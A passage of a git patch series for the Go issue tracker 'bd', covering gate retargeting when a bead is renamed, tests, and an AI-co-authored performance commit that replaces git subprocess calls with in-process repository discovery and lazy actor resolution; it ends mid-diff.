context.Context, st beadGateRenameStore, issue *types.Issue, newID string, gates []*types.Issue, actorName string) error { + oldID := issue.ID + moves := planBeadGateMoves(gates, oldID, newID) + for i, m := range moves { + if err := st.UpdateIssue(ctx, m.gateID, beadGateRetargetUpdate(m.toID, m.staleSeen), actorName); err != nil { + err = fmt.Errorf("failed to point gate %s at %s: %w", m.gateID, m.toID, err) + return errors.Join(err, moveBeadGatesBack(ctx, st, moves[:i+1], actorName)) + } + } + + issue.ID = newID + if err := st.UpdateIssueID(ctx, oldID, newID, issue, actorName); err != nil { + issue.ID = oldID + return errors.Join(err, moveBeadGatesBack(ctx, st, moves, actorName)) + } + + for _, m := range moves { + if !m.seen { + continue + } + gateID := m.gateID + if gateID == oldID { + gateID = newID // the gate waits on itself + } + if err := st.UpdateIssue(ctx, gateID, beadGateSeenUpdate(m.toID), actorName); err != nil { + fmt.Fprintf(os.Stderr, "Warning: gate %s: could not move its sighting of %s to %s: %v\n", gateID, m.fromID, m.toID, err) + } + } + return nil +} + +// moveBeadGatesBack points each moved gate at its old await_id again and +// drops its sighting (see renameIssueKeepingBeadGates). +func moveBeadGatesBack(ctx context.Context, st beadGateRenameStore, moves []beadGateMove, actorName string) error { + var errs []error + for _, m := range moves { + if err := st.UpdateIssue(ctx, m.gateID, beadGateRetargetUpdate(m.fromID, true), actorName); err != nil { + errs = append(errs, fmt.Errorf("failed to point gate %s back at %s: %w", m.gateID, m.fromID, err)) + } + } + return errors.Join(errs...) +} diff --git a/cmd/bd/rename_prefix.go b/cmd/bd/rename_prefix.go index 81f2fc7c6..0ff1c8c91 100644 --- a/cmd/bd/rename_prefix.go +++ b/cmd/bd/rename_prefix.go @@ -335,6 +335,7 @@ func repairPrefixes(ctx context.Context, st storage.DoltStorage, actorName strin // Pattern to match any issue ID reference in text (both hash and sequential IDs) oldPrefixPattern := regexp.MustCompile(`\b[a-z][a-z0-9-]*-[a-z0-9]+\b`) + gates := beadGatesByTarget(issues) // Rename each issue for _, is := range incorrectIssues { @@ -343,7 +344,6 @@ func repairPrefixes(ctx context.Context, st storage.DoltStorage, actorName strin // Apply text replacements in all issue fields issue := is.issue - issue.ID = newID // Replace all issue IDs in text fields using the rename map replaceFunc := func(match string) string { @@ -366,7 +366,7 @@ func repairPrefixes(ctx context.Context, st storage.DoltStorage, actorName strin } // Update the issue in the database - if err := st.UpdateIssueID(ctx, oldID, newID, issue, actorName); err != nil { + if err := renameIssueKeepingBeadGates(ctx, st, issue, newID, gates[oldID], actorName); err != nil { return fmt.Errorf("failed to update issue %s -> %s: %w", oldID, newID, err) } @@ -433,6 +433,7 @@ func renamePrefixInDB(ctx context.Context, oldPrefix, newPrefix string, issues [ return strings.Replace(match, oldP+"-", newP+"-", 1) } + gates := beadGatesByTarget(issues) for _, issue := range issues { oldID := issue.ID newID := rewriteIssueID(oldP, newP, oldID) @@ -455,8 +456,7 @@ func renamePrefixInDB(ctx context.Context, oldPrefix, newPrefix string, issues [ continue } - issue.ID = newID - if err := store.UpdateIssueID(ctx, oldID, newID, issue, actor); err != nil { + if err := renameIssueKeepingBeadGates(ctx, store, issue, newID, gates[oldID], actor); err != nil { return fmt.Errorf("failed to update issue %s: %w", oldID, err) } } diff --git a/cmd/bd/rename_prefix_repair_test.go b/cmd/bd/rename_prefix_repair_test.go index a987697e0..d6df999dc 100644 --- a/cmd/bd/rename_prefix_repair_test.go +++ b/cmd/bd/rename_prefix_repair_test.go @@ -4,9 +4,13 @@ package main import ( "context" + "encoding/json" + "errors" + "fmt" "path/filepath" "testing" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" ) @@ -120,3 +124,175 @@ func TestRepairMultiplePrefixes(t *testing.T) { } } } + +func TestRepairPrefixesRetargetsBeadGates(t *testing.T) { + // The repair gives every off-prefix bead a new ID. A bead gate waiting on + // one must follow it, sighting included, or its next check would read the + // rename as a deletion and resolve. That holds whether the gate itself is + // renamed before its bead, after it, or not at all. + ctx := context.Background() + testStore := newTestStore(t, filepath.Join(t.TempDir(), "test.db")) + + for _, issue := range []*types.Issue{ + {ID: "test-1", Title: "Kept bead", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + {ID: "old-1", Title: "Renamed bead", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + {ID: "test-gate", Title: "Gate on the renamed bead", Status: types.StatusOpen, Priority: 2, IssueType: "gate", + AwaitType: "bead", AwaitID: "old-1", Metadata: json.RawMessage(`{"await_seen":"old-1"}`)}, + {ID: "old-gate", Title: "Renamed gate on the kept bead", Status: types.StatusOpen, Priority: 2, IssueType: "gate", + AwaitType: "bead", AwaitID: "test-1", Metadata: json.RawMessage(`{"await_seen":"test-1"}`)}, + // The repair renames in ID-number order: old-0, old-1, old-2. + {ID: "old-0", Title: "Gate renamed before its bead", Status: types.StatusOpen, Priority: 2, IssueType: "gate", + AwaitType: "bead", AwaitID: "old-1", Metadata: json.RawMessage(`{"await_seen":"old-1"}`)}, + {ID: "old-2", Title: "Gate renamed after its bead", Status: types.StatusOpen, Priority: 2, IssueType: "gate", + AwaitType: "bead", AwaitID: "old-1", Metadata: json.RawMessage(`{"await_seen":"old-1"}`)}, + } { + if err := testStore.CreateIssue(ctx, issue, "test"); err != nil { + t.Fatalf("failed to create issue %s: %v", issue.ID, err) + } + } + + allIssues, err := testStore.SearchIssues(ctx, "", types.IssueFilter{}) + if err != nil { + t.Fatalf("failed to search issues: %v", err) + } + if err := repairPrefixes(ctx, testStore, "test", "test", allIssues, detectPrefixes(allIssues), false); err != nil { + t.Fatalf("repair failed: %v", err) + } + + allIssues, err = testStore.SearchIssues(ctx, "", types.IssueFilter{}) + if err != nil { + t.Fatalf("failed to search issues after repair: %v", err) + } + idByTitle := make(map[string]string, len(allIssues)) + for _, issue := range allIssues { + idByTitle[issue.Title] = issue.ID + } + renamedBead := idByTitle["Renamed bead"] + if renamedBead == "" || renamedBead == "old-1" { + t.Fatalf("old-1 was not renamed: %v", idByTitle) + } + + for _, tt := range []struct { + title string + wantAwaitID string + }{ + {title: "Gate on the renamed bead", wantAwaitID: renamedBead}, + {title: "Renamed gate on the kept bead", wantAwaitID: "test-1"}, + {title: "Gate renamed before its bead", wantAwaitID: renamedBead}, + {title: "Gate renamed after its bead", wantAwaitID: renamedBead}, + } { + gate, err := testStore.GetIssue(ctx, idByTitle[tt.title]) + if err != nil { + t.Fatalf("%s: %v", tt.title, err) + } + if gate.AwaitID != tt.wantAwaitID || !beadGateTargetSeen(gate) { + t.Errorf("%s: await_id=%q metadata=%s, want %q recorded as seen", tt.title, gate.AwaitID, gate.Metadata, tt.wantAwaitID) + } + } +} + +// failingRenameStore fails UpdateIssueID for failID. With landed, the rename +// is applied before the error is returned, like a commit whose response was +// lost. +type failingRenameStore struct { + storage.DoltStorage + failID string + landed bool + injected bool +} + +func (s *failingRenameStore) UpdateIssueID(ctx context.Context, oldID, newID string, issue *types.Issue, actor string) error { + if oldID != s.failID { + return s.DoltStorage.UpdateIssueID(ctx, oldID, newID, issue, actor) + } + if s.landed { + if err := s.DoltStorage.UpdateIssueID(ctx, oldID, newID, issue, actor); err != nil { + return err + } + } + s.injected = true + return errors.New("injected UpdateIssueID failure") +} + +// withRenameStore points the store and actor globals at st while run runs. +func withRenameStore(st storage.DoltStorage, run func() error) error { + oldStore, oldActor := store, actor + store, actor = st, "test" + storeMutex.Lock() + oldActive := storeActive + storeActive = true + storeMutex.Unlock() + defer func() { + store, actor = oldStore, oldActor + storeMutex.Lock() + storeActive = oldActive + storeMutex.Unlock() + }() + return run() +} + +func TestRenameFailureLeavesBeadGatesPending(t *testing.T) { + // When renaming the awaited bead fails, whether or not that rename + // landed, its gate is pointed back at the bead's old ID without a + // sighting: bd gate check must find it pending, never resolve it as + // though the bead had been deleted. The prefix renames rename the gate + // first, so they move it back under its new ID. + for _, tt := range []struct { + name string + gateRenamed bool + run func(ctx context.Context, st storage.DoltStorage, issues []*types.Issue) error + }{ + {name: "rename", run: func(_ context.Context, st storage.DoltStorage, _ []*types.Issue) error { + return withRenameStore(st, func() error { return runRename(renameCmd, []string{"old-1", "old-renamed"}) }) + }}, + {name: "repair", gateRenamed: true, run: func(ctx context.Context, st storage.DoltStorage, issues []*types.Issue) error { + return repairPrefixes(ctx, st, "test", "test", issues, detectPrefixes(issues), false) + }}, + {name: "rename-prefix", gateRenamed: true, run: func(ctx context.Context, st storage.DoltStorage, issues []*types.Issue) error { + return withRenameStore(st, func() error { return renamePrefixInDB(ctx, "old", "test", issues) }) + }}, + } { + for _, landed := range []bool{false, true} { + t.Run(fmt.Sprintf("%s/landed=%v", tt.name, landed), func(t *testing.T) { + ctx := context.Background() + testStore := newTestStore(t, filepath.Join(t.TempDir(), "test.db")) + issues := []*types.Issue{ + {ID: "old-gate", Title: "Gate", Status: types.StatusOpen, Priority: 2, IssueType: "gate", + AwaitType: "bead", AwaitID: "old-1", Metadata: json.RawMessage(`{"await_seen":"old-1"}`)}, + {ID: "old-1", Title: "Awaited bead", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + } + for _, issue := range issues { + if err := testStore.CreateIssue(ctx, issue, "test"); err != nil { + t.Fatalf("failed to create issue %s: %v", issue.ID, err) + } + } + + st := &failingRenameStore{DoltStorage: testStore, failID: "old-1", landed: landed} + if err := tt.run(ctx, st, issues); err == nil || !st.injected { + t.Fatalf("rename error = %v (failure injected: %v), want the injected failure", err, st.injected) + } + + all, err := testStore.SearchIssues(ctx, "", types.IssueFilter{}) + if err != nil { + t.Fatalf("failed to search issues: %v", err) + } + var gate *types.Issue + for _, issue := range all { + if issue.Title == "Gate" { + gate = issue + } + } + if gate == nil || (gate.ID != "old-gate") != tt.gateRenamed { + t.Fatalf("gate after the failed rename: %+v, want it renamed: %v", gate, tt.gateRenamed) + } + if gate.AwaitID != "old-1" || beadGateTargetSeen(gate) { + t.Errorf("gate after the failed rename: await_id=%q metadata=%s, want %q without a sighting", gate.AwaitID, gate.Metadata, "old-1") + } + resolved, reason, err := evaluateBeadGate(ctx, gate, testStore, nil) + if err != nil || resolved { + t.Errorf("bd gate check on the gate: resolved=%v reason=%q err=%v, want it pending", resolved, reason, err) + } + }) + } + } +} diff --git a/docs/workflows/gates.md b/docs/workflows/gates.md index 2632dc15b..95b56da2d 100644 --- a/docs/workflows/gates.md +++ b/docs/workflows/gates.md @@ -37,7 +37,18 @@ bd gate resolve # close a gate manually | `timer` | a duration after gate creation | `bd gate check` once the timeout elapses | | `gh:run` | a GitHub Actions workflow to complete successfully | `bd gate check` (uses `gh run view`) | | `gh:pr` | a pull request to merge | `bd gate check` (uses `gh pr view`) | -| `bead` | a bead to close — a plain ID names a bead in this rig, the cross-rig form is `:` | `bd gate check` for plain local IDs; cross-rig values cannot be checked — resolve those manually | +| `bead` | a bead to close, or to be deleted once a check has seen it — a plain ID names a bead in this rig, the cross-rig form is `:` | `bd gate check` for plain local IDs; cross-rig values cannot be checked — resolve those manually | + +A `bead` gate also closes when its awaited bead is deleted, as long as an +earlier `bd gate check` saw that bead in this rig; the check records the +sighting in the gate's `await_seen` metadata. An await ID that no check has +seen, such as a typo or a bead deleted before the first check, keeps the gate +pending with a diagnostic: correct the await ID or close the gate with +`bd gate resolve`. Renaming the awaited bead with `bd rename` or +`bd rename-prefix` moves the gate's await ID and sighting to the new ID, so a +rename does not count as a deletion, even to a `bd gate check` or `bd close` +that read the gate before the rename; a rename that fails partway leaves the +gate pending without a sighting, never resolved. Timeouts use Go duration syntax: `30m`, `1h`, `24h` (there is no `d` unit — write `24h`, not `1d`). From 5126de8c1a02d01db2481e4fd5e78dd41010e25f Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 20:08:24 +0000 Subject: [PATCH 179/325] perf(bd): no git subprocesses on read-only commands (in-process repo discovery, lazy actor, backup probe) (#7400) * perf(git): locate the repository in-process instead of running git rev-parse Every bd invocation resolved the process-wide git context (beads directory discovery reads it) with `git rev-parse --git-dir --git-common-dir --show-toplevel`: one git subprocess per bd call before any work. Tools that call bd hundreds of times (gascity's doctor issues ~250 bd calls per run) paid it on every call. On Linux, initGitContext now first runs discoverGitInProcess, which mirrors Git's discovery walk (physical cwd, .git as directory or gitfile, bare-dir check, filesystem-boundary stop) and produces byte-for-byte what rev-parse prints for ordinary repositories (top and subdirectories), linked worktrees (absolute or relative gitfile, symlinked targets), submodules (core.worktree pointing back at the gitfile's directory), nested repositories and no repository. Both answers feed one shared normalization (gitContextFromRevParse), so downstream values are unchanged. It declines, and git runs exactly as before, whenever it cannot prove the answer: GIT_DIR / GIT_WORK_TREE / GIT_COMMON_DIR / GIT_CEILING_DIRECTORIES / GIT_DISCOVERY_ACROSS_FILESYSTEM / GIT_OBJECT_DIRECTORY / GIT_CONFIG_PARAMETERS / GIT_CONFIG_COUNT in the environment; a symlinked .git, an invalid gitfile or git directory, a cwd inside a git directory; repository config with core.worktree (other than the submodule shape), core.bare, extensions, include directives, a format version above 1 or unmodeled syntax; any path not owned by the effective uid (safe.directory is git's to evaluate), or root under sudo. darwin and windows keep the subprocess (case folding and ownership semantics). Tests compare discoverGitFrom with real `git rev-parse` output across those layouts, pin every decline case, and check the resulting cached context equals the subprocess-derived one. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * perf(cli): resolve the git user.name actor fallback only when needed PersistentPreRunE assigned `actor = getActorWithGit()` for every command, which, with no --actor / BEADS_ACTOR / BD_ACTOR / config actor, runs `git config user.name`: the second git subprocess of every bd call, paid by read-only commands that never consult the actor. The pre-run now calls deferActorGitFallback, which marks an empty actor as pending; currentActor (and getActorWithGit, getActor) resolve it on first use with the unchanged priority order and store it in the global and the CommandContext copy, as the eager assignment did. Command code reads the actor through currentActor() instead of the raw global (a mechanical rewrite of every read site the compiler reported; writes, the flag binding and the pre-run config binding keep the raw variable). setActor cancels a pending fallback. The telemetry span's bd.actor attribute is still set, but only for a recording span, so a noop span does not force the lookup. With the in-process repository discovery from the previous commit, a read-only `bd list` / `bd show` now starts no git process at startup, in the main checkout and in a linked worktree; a write asks git for user.name once (bd create previously asked once, now still once) and records the same value. Measured on 50 sequential `bd list` calls: 100 -> 0 git execs (embedded and proxied-server workspaces, main checkout and worktree). TestEmbeddedReadOnlyCommandsSpawnNoGit counts git execs through a PATH shim; TestDeferredActorGitFallback pins the deferral semantics. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * fix(git): decline in-process discovery on any config line git might read differently Review follow-ups to the in-process repository discovery. - The repository config scanner was looser than git: a config starting with a UTF-8 BOM followed by `[core] worktree = /other` made git report /other while discovery returned the cwd repository, and `[ core ]` or `!!! = x` (which git refuses) were accepted. scanGitConfig (gitconfig_linux.go) now skips a leading BOM exactly as git does and accepts only a narrow grammar: blank/comment lines, `[section]` / `[section "sub"]` headers at column 0, and `key` / `key = value` lines inside a section, with values free of backslashes and unbalanced quotes. Any other line declines to git. - Walk from getcwd(2) (syscall.Getwd), as git does, instead of os.Getwd, which trusts $PWD when it names the same inode (bind-mount aliases). - Resolve relative gitfile and commondir targets without filepath.Join's lexical Clean, so "link/.." resolves physically like git's realpath. - A mount-boundary stop reports its own reason in the not-a-repository error. - Tests: every decline case (BOM + core.worktree, malformed headers and keys, keys before a section, escapes, continuations, bare repositories, a commondir inside .git, ...) now also checks that what startup derives equals git's answer; BOM and CRLF/comment configs are equivalence cases; the no-repository case must be answered in-process instead of skipping; a $PWD alias test pins the getcwd walk. - The exec-count test drops every GIT_* variable except the config-file selectors, so a runner exporting GIT_CONFIG_PARAMETERS & co. cannot make it fail spuriously. - Comment the two places that touch the raw actor before the deferral. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * perf(backup): decide embedded auto-backup's git-remote probe without git In an embedded workspace whose backup.enabled is unset, maybeAutoBackup asks isBackupAutoEnabled -> primeHasGitRemote after every command, reads included. That built a RepoContext (`git -C .beads rev-parse --git-common-dir`) and ran `git remote`: two git processes per read even after the startup calls were gone. The throttle cannot short-circuit it: without a remote no backup ever runs, so there is no backup state to throttle on. Both probes are now answered in-process when provable, and the subprocess remains the fallback, so the decision and every warning/notice downstream of it are unchanged: - internal/beads getGitCommonDirForPath uses git.CommonDirInProcess (the discovery walk from the given directory, git's spelling). - primeHasGitRemote uses git.HasRemoteInProcess in the same directory primeGitCmd would run git in (primeGitDir, factored out). It answers only when every config file `git remote` reads -- system (GIT_CONFIG_SYSTEM, or /etc/gitconfig and /etc/gitconfig of the git on PATH), global (GIT_CONFIG_GLOBAL, or XDG and ~/.gitconfig) and the repository's own -- is absent or within scanGitConfig's grammar and include-free, no GIT_CONFIG_PARAMETERS/COUNT/GIT_CONFIG or discovery override is set, and no legacy .git/remotes or .git/branches entries exist. A remote seen only in a system-config candidate declines. Remote names outside [A-Za-z0-9._-] decline. Tests compare HasRemoteInProcess with `git remote` (no remote, local, worktree, submodule, remote.pushDefault only, global remote, no repo) and pin the declines (global include, malformed global, command-line config); CommonDirInProcess is compared with `git -C dir rev-parse --git-common-dir`. TestEmbeddedReadOnlyCommandsSpawnNoGit now runs with backup.enabled at its default, with and without a git remote, and still expects zero git processes for list/show. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/embedded-cmd-test-shards.txt | 1 + CHANGELOG.md | 16 + cmd/bd/BUILD.bazel | 1 + cmd/bd/actor_test.go | 54 ++ cmd/bd/ado.go | 6 +- cmd/bd/assign.go | 6 +- cmd/bd/audit.go | 8 +- cmd/bd/close.go | 10 +- cmd/bd/close_direct.go | 4 +- cmd/bd/close_if_revision.go | 12 +- cmd/bd/close_proxied_server.go | 10 +- cmd/bd/comment.go | 2 +- cmd/bd/comments.go | 2 +- cmd/bd/context.go | 11 +- cmd/bd/cook.go | 6 +- cmd/bd/create.go | 4 +- cmd/bd/create_form.go | 2 +- cmd/bd/defer.go | 2 +- cmd/bd/defer_proxied_server.go | 4 +- cmd/bd/delete.go | 4 +- cmd/bd/delete_proxied_server.go | 2 +- cmd/bd/dep.go | 10 +- cmd/bd/dep_proxied_server.go | 4 +- cmd/bd/duplicates.go | 2 +- cmd/bd/edit.go | 6 +- cmd/bd/gate.go | 12 +- cmd/bd/gate_discover.go | 2 +- cmd/bd/gate_proxied_server.go | 16 +- cmd/bd/gc_proxied_server.go | 2 +- cmd/bd/github.go | 2 +- cmd/bd/gitlab.go | 2 +- cmd/bd/graph_apply.go | 2 +- cmd/bd/heartbeat.go | 6 +- cmd/bd/heartbeat_proxied_server.go | 2 +- cmd/bd/human.go | 6 +- cmd/bd/human_proxied_server.go | 8 +- cmd/bd/jira.go | 2 +- cmd/bd/label.go | 8 +- cmd/bd/label_proxied_server.go | 6 +- cmd/bd/linear.go | 6 +- cmd/bd/link.go | 4 +- cmd/bd/link_proxied_server.go | 2 +- cmd/bd/main.go | 86 ++- cmd/bd/markdown.go | 4 +- cmd/bd/merge_slot.go | 8 +- cmd/bd/migrate_issues.go | 2 +- cmd/bd/mol_bond.go | 12 +- cmd/bd/mol_burn.go | 4 +- cmd/bd/mol_current.go | 2 +- cmd/bd/mol_progress.go | 2 +- cmd/bd/mol_proxied_server.go | 20 +- cmd/bd/mol_squash.go | 2 +- cmd/bd/mutate_proxied_server.go | 16 +- cmd/bd/note.go | 4 +- cmd/bd/notion.go | 2 +- cmd/bd/pour.go | 4 +- cmd/bd/prime.go | 29 +- cmd/bd/priority.go | 4 +- cmd/bd/promote.go | 4 +- cmd/bd/promote_proxied_server.go | 4 +- cmd/bd/purge.go | 2 +- cmd/bd/quick.go | 2 +- cmd/bd/quick_proxied_server.go | 2 +- cmd/bd/ready.go | 2 +- cmd/bd/ready_input.go | 2 +- cmd/bd/reclaim.go | 4 +- cmd/bd/relate.go | 8 +- cmd/bd/relate_proxied_server.go | 6 +- cmd/bd/rename_prefix.go | 4 +- cmd/bd/reopen.go | 4 +- cmd/bd/reopen_proxied_server.go | 4 +- cmd/bd/ship.go | 2 +- cmd/bd/startup_git_exec_embedded_test.go | 176 ++++++ cmd/bd/state.go | 4 +- cmd/bd/status.go | 2 +- cmd/bd/swarm.go | 16 +- cmd/bd/sync_push_pull.go | 26 +- cmd/bd/tag.go | 4 +- cmd/bd/unclaim.go | 6 +- cmd/bd/unclaim_proxied_server.go | 8 +- cmd/bd/undefer.go | 2 +- cmd/bd/update.go | 12 +- cmd/bd/update_proxied_server.go | 4 +- cmd/bd/wisp.go | 2 +- cmd/bd/wisp_proxied_server.go | 6 +- internal/beads/context.go | 20 +- internal/git/BUILD.bazel | 8 +- internal/git/discover_linux.go | 559 +++++++++++++++++++ internal/git/discover_linux_test.go | 471 ++++++++++++++++ internal/git/discover_other.go | 20 + internal/git/gitconfig_linux.go | 109 ++++ internal/git/gitdir.go | 51 +- 92 files changed, 1801 insertions(+), 233 deletions(-) create mode 100644 cmd/bd/startup_git_exec_embedded_test.go create mode 100644 internal/git/discover_linux.go create mode 100644 internal/git/discover_linux_test.go create mode 100644 internal/git/discover_other.go create mode 100644 internal/git/gitconfig_linux.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index b1c7b0e8c..7a1c26452 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -306,6 +306,7 @@ 50 17 TestEmbeddedCompact 50 17 TestEmbeddedGateConcurrent 50 17 TestEmbeddedListComments +50 17 TestEmbeddedReadOnlyCommandsSpawnNoGit 50 18 TestEmbeddedContext 50 18 TestEmbeddedContributorCreate diff --git a/CHANGELOG.md b/CHANGELOG.md index 09d65701d..9831b832c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -114,6 +114,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed +- Every `bd` invocation used to start two git subprocesses before doing any + work: `git rev-parse` to locate the repository and `git config user.name` + to resolve the actor. On Linux the repository is now located in-process + (ordinary repositories, linked worktrees, submodules, no repository), + producing exactly what `git rev-parse` printed and still running git for + anything it does not model (`GIT_DIR` and related overrides, + `core.worktree`/`core.bare`, repository extensions, includes, foreign + ownership subject to `safe.directory`). The `git config user.name` actor + fallback is resolved only when a command actually needs an actor, so + read-only commands such as `bd list` and `bd show` start no git process + for it. The actor's value and priority order are unchanged. In an embedded + workspace with `backup.enabled` unset, the per-command auto-backup check + ("is there a git remote?") is likewise answered from the git config files + when they are plain (no includes, no command-line config), instead of + running `git -C .beads rev-parse --git-common-dir` and `git remote`. + - `bd create --graph` now stores a plan whose path from a node's parent to the node runs through a `waits-for` edge; the graph-only preflight that walked every ready-work edge used to refuse it. The plan now goes through diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 8f5ea468f..5964f512a 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1147,6 +1147,7 @@ go_test( "sql_test.go", "stale_embedded_test.go", "stale_test.go", + "startup_git_exec_embedded_test.go", "state_embedded_test.go", "state_proxied_integration_test.go", "state_test.go", diff --git a/cmd/bd/actor_test.go b/cmd/bd/actor_test.go index d7efa7fc3..5ef83b505 100644 --- a/cmd/bd/actor_test.go +++ b/cmd/bd/actor_test.go @@ -246,3 +246,57 @@ func TestGetActorWithGit_PriorityOrder(t *testing.T) { t.Errorf("Expected BD_ACTOR to be used as fallback, got %q", result) } } + +// TestDeferredActorGitFallback pins the lazy actor: PersistentPreRunE defers +// the git config user.name fallback, and the first reader resolves it to +// exactly what the former eager getActorWithGit assignment produced. +func TestDeferredActorGitFallback(t *testing.T) { + origActor, origPending := actor, actorGitFallbackPending + var origCtxActor string + if cmdCtx != nil { + origCtxActor = cmdCtx.Actor + } + t.Cleanup(func() { + actor, actorGitFallbackPending = origActor, origPending + if cmdCtx != nil { + cmdCtx.Actor = origCtxActor + } + }) + t.Setenv("BEADS_ACTOR", "") + t.Setenv("BD_ACTOR", "") + + actor = "explicit" + deferActorGitFallback() + if actorGitFallbackPending { + t.Fatal("a configured actor must not defer a git lookup") + } + if got := currentActor(); got != "explicit" { + t.Fatalf("currentActor() = %q, want %q", got, "explicit") + } + + actor = "" + want := resolveActorWithGit() + deferActorGitFallback() + if !actorGitFallbackPending || actor != "" { + t.Fatalf("deferral resolved eagerly: pending=%v actor=%q", actorGitFallbackPending, actor) + } + if got := currentActor(); got != want { + t.Fatalf("currentActor() = %q, want eager resolution %q", got, want) + } + if actorGitFallbackPending || actor != want { + t.Fatalf("after first use: pending=%v actor=%q, want resolved %q", actorGitFallbackPending, actor, want) + } + + actor = "" + deferActorGitFallback() + if got := getActorWithGit(); got != want || actorGitFallbackPending || actor != want { + t.Fatalf("getActorWithGit() = %q (pending=%v actor=%q), want %q resolved into the global", got, actorGitFallbackPending, actor, want) + } + + actor = "" + deferActorGitFallback() + setActor("assigned") + if got := currentActor(); got != "assigned" { + t.Fatalf("setActor must cancel a deferred fallback: currentActor() = %q", got) + } +} diff --git a/cmd/bd/ado.go b/cmd/bd/ado.go index 08206992b..5e54257bc 100644 --- a/cmd/bd/ado.go +++ b/cmd/bd/ado.go @@ -540,7 +540,7 @@ func runADOSync(cmd *cobra.Command, _ []string) error { } // Create the sync engine - engine := tracker.NewEngine(at, store, actor) + engine := tracker.NewEngine(at, store, currentActor()) var warnings []string if !jsonOutput { engine.OnMessage = func(msg string) { _, _ = fmt.Fprintln(out, " "+msg) } @@ -641,7 +641,7 @@ func runADOSync(cmd *cobra.Command, _ []string) error { continue } reason := fmt.Sprintf("ADO work item %s deleted", idStr) - if cerr := store.CloseIssue(ctx, localID, reason, actor, ""); cerr != nil { + if cerr := store.CloseIssue(ctx, localID, reason, currentActor(), ""); cerr != nil { msg := fmt.Sprintf("Failed to close %s for deleted ADO #%s: %v", localID, idStr, cerr) warnings = append(warnings, msg) if !jsonOutput { @@ -915,7 +915,7 @@ func buildADOPullHooks(ctx context.Context, at *ado.Tracker, bootstrapMatch, noC "external_ref": ref, "source_system": "ado:" + extIssue.ID, } - if err := store.UpdateIssue(ctx, result.BeadsID, updates, actor); err == nil { + if err := store.UpdateIssue(ctx, result.BeadsID, updates, currentActor()); err == nil { *matchCount++ if warn != nil { warn(fmt.Sprintf("Bootstrap matched ADO #%s → %s (%s)", extIssue.ID, result.BeadsID, result.MatchType)) diff --git a/cmd/bd/assign.go b/cmd/bd/assign.go index ba3a72e97..83b145f33 100644 --- a/cmd/bd/assign.go +++ b/cmd/bd/assign.go @@ -85,7 +85,7 @@ Examples: // lost race reports precondition_failed from the guarded write below // instead of this policy refusal — see ifRevisionAlreadyStale's doc. if !ifRevisionAlreadyStale(result.Issue, ifRevision) { - if err := validateIssueReassignable(id, result.Issue, actor, assignee, + if err := validateIssueReassignable(id, result.Issue, currentActor(), assignee, storeClaimPoolAliases(ctx, issueStore), force); err != nil { return HandleErrorRespectJSON("%s", err) } @@ -104,7 +104,7 @@ Examples: return HandleErrorRespectJSON("%v", err) } mutationResult, err := runCommandUpdateMutation(opsCtx, ops, commandUpdateMutation{ - actor: actor, + actor: currentActor(), issueID: result.ResolvedID, patch: issueops.IssuePatch{ Assignee: issueops.Field[string]{Set: true, Value: assignee}, @@ -121,7 +121,7 @@ Examples: return HandleErrorRespectJSON("updating %s: %v", id, err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "assign", IssueIDs: []string{result.ResolvedID}, }); err != nil { diff --git a/cmd/bd/audit.go b/cmd/bd/audit.go index 127e3f236..fd33d0536 100644 --- a/cmd/bd/audit.go +++ b/cmd/bd/audit.go @@ -77,8 +77,8 @@ var auditRecordCmd = &cobra.Command{ if err := json.Unmarshal(b, &e); err != nil { return HandleError("invalid JSON on stdin: %v", err) } - if actor != "" { - e.Actor = actor + if currentActor() != "" { + e.Actor = currentActor() } } else { if auditRecordKind == "" { @@ -86,7 +86,7 @@ var auditRecordCmd = &cobra.Command{ } e = audit.Entry{ Kind: auditRecordKind, - Actor: actor, + Actor: currentActor(), IssueID: auditRecordIssueID, Model: auditRecordModel, Prompt: auditRecordPrompt, @@ -137,7 +137,7 @@ var auditLabelCmd = &cobra.Command{ } e := audit.Entry{ Kind: "label", - Actor: actor, + Actor: currentActor(), ParentID: parentID, Label: auditLabelValue, Reason: auditLabelReason, diff --git a/cmd/bd/close.go b/cmd/bd/close.go index b99abe219..5a28910a2 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -227,7 +227,7 @@ the flags appear in the command line.`, // suppressed real-close side effects (no audit, no closed→closed on the // step). Register the store when it actually closed the root so the // pending-commit sweep persists it — closedCount==0 would not commit. - if molID := autoCloseCompletedMolecule(ctx, activeStore, id, actor, session); molID != "" { + if molID := autoCloseCompletedMolecule(ctx, activeStore, id, currentActor(), session); molID != "" { mutatedStores[activeStore] = append(mutatedStores[activeStore], molID) } } else { @@ -238,13 +238,13 @@ the flags appear in the command line.`, if issue != nil { oldStatus = string(issue.Status) } - audit.LogFieldChange(id, "status", oldStatus, "closed", actor, reason) + audit.LogFieldChange(id, "status", oldStatus, "closed", currentActor(), reason) closedCount++ // Auto-close parent molecule if all steps are now complete. // Runs against the same store the step was closed in. - autoCloseCompletedMolecule(ctx, activeStore, id, actor, session) + autoCloseCompletedMolecule(ctx, activeStore, id, currentActor(), session) } // First id this command settled as closed — a real close or an @@ -313,7 